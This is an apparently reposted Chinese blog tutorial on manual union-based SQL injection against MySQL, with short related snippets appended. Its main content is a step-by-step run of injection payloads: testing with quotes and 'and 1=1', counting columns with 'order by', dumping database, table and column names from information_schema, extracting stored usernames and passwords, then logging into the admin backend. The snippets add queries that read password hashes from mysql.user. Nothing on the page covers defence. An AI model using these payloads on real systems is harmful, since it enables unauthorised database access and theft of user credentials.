手工注入 MySQL手工注入實戰和分析

2022-01-10 21:29:55 字數 2553 閱讀 6382

通過 ' 和構造 and 1=1 和 and 1=2 檢視頁面是否報錯。這裡通過and 1=1 發現頁面正常。如下圖。

接下來,咱們再構造 and 1=2 發現頁面報錯,說明頁面存在注入點。如下圖。

通過 order by 語句,如果後面輸入的數字大於資料庫的字段數,頁面就會報錯,通過這個,咱們先輸入 order by 4 發現頁面正常。如下圖。

接下來,咱們輸入 order by 5,發現頁面報錯,說明資料庫中存在四個字段。如下圖

通過上一步,咱們已經知道了有幾個字段,接下來,咱們通過聯合查詢,將 database() 依次替換1,2,3,4 看看哪個位置會顯示在頁面中,通過測試發現,2,3,兩個位置有回顯。構造如下語句 union select 1,database(),user(),4 #     最後的#是注釋符。結果如下圖。注意:使用聯合查詢時,要使得前面不可查詢 所以我把1替換成了-1 也可以直接在後面新增 and 1=2 兩種方式都可以。

在上一步咱們已經爆出了資料庫名,接下來咱們爆表名,在mysql 5 和之後的版本,裡面有乙個information_schema表,這個表下面存放了資料庫裡面的所有表,接下來就可以查詢啦,這裡用到了group_concat()函式,咱們構造如下語句 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=庫名(庫名轉換成十六進製制)結果如下圖。

上面咱們查詢出了表名,先用第乙個表測試,接下來,爆欄位,構造如下語句 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(換成十六進製制),結果如下圖

通過上面,咱們發現,有 name password 字段,一般賬號密碼存放在裡面。如果咱們通過一般查詢,會掉到坑裡面,如果咱們直接通過如下語句查詢 union select 1,name,password,4 from 表名。發現爆出了賬號密碼,然後高興的去登陸。發現尷尬了。去下圖。

接下來該怎麼辦呢,其實只要只要在上乙個的語句後面加乙個 limit 語句 就搞定了,還可以使用 group_concat() 函式 把上一句的 name 換成group_concat(name) 就可以啦 password 同理。這裡使用了limit 語句 它的原理是 limit 0,1 是從第一行開始查詢,查詢一行。 limit 0,2 是從第一行開始查,查詢兩行。limit 1,2 是從第二行開始查詢,查詢兩行。結果如下圖。

查詢出了第二個密碼。賬號同理。成功登陸後台。注入結束。

第一步,判斷注入點,通過 ' 或者 and 1=1 和and 1=2

第二步,判斷字段數,通過 order by 語句。

第三步,爆庫,通過 union select 1,2,database(),4 #

第四步,爆表,通過 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=庫名(庫名換成十六進製制)

第四步 爆欄位,通過 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(表名換成十六進製制)

第五步 爆賬號,密碼,這裡可以使用 limit 語句,也可以使用 group_concat()函式。上面演示了limit語句,如果用函式。通過語句 union select 1,group_concat(name),group_concat(password),4 from 表名。就可以直接得到兩個賬號和密碼。

第六步 解密密碼,登陸。​

MySql 手工注入實戰

char 0x3a,unhex hex cast password as char 0x3a,unhex hex cast host as char from mysql.user hex cast user as char 把user使用char型別檢視然後轉換為hex 這樣得出的結果是hex 但...

mysql手工注入

元資料庫 information schema其中儲存著其他所有資料庫的資訊 其中的表非常多 schemata 存放所有資料庫的名字 tables 用於存放所有資料表的名字 columns 存放所有欄位的名字 這些表裡面存放的資訊非常多,如果用select from tables 查詢會出現非常多劫...

mysql手工注入方法

mysql內建資料庫結構 功能名稱 查詢語句 查庫select schema name from information schema.schemata 查表select table name from information schema.tables where table schema 庫名 ...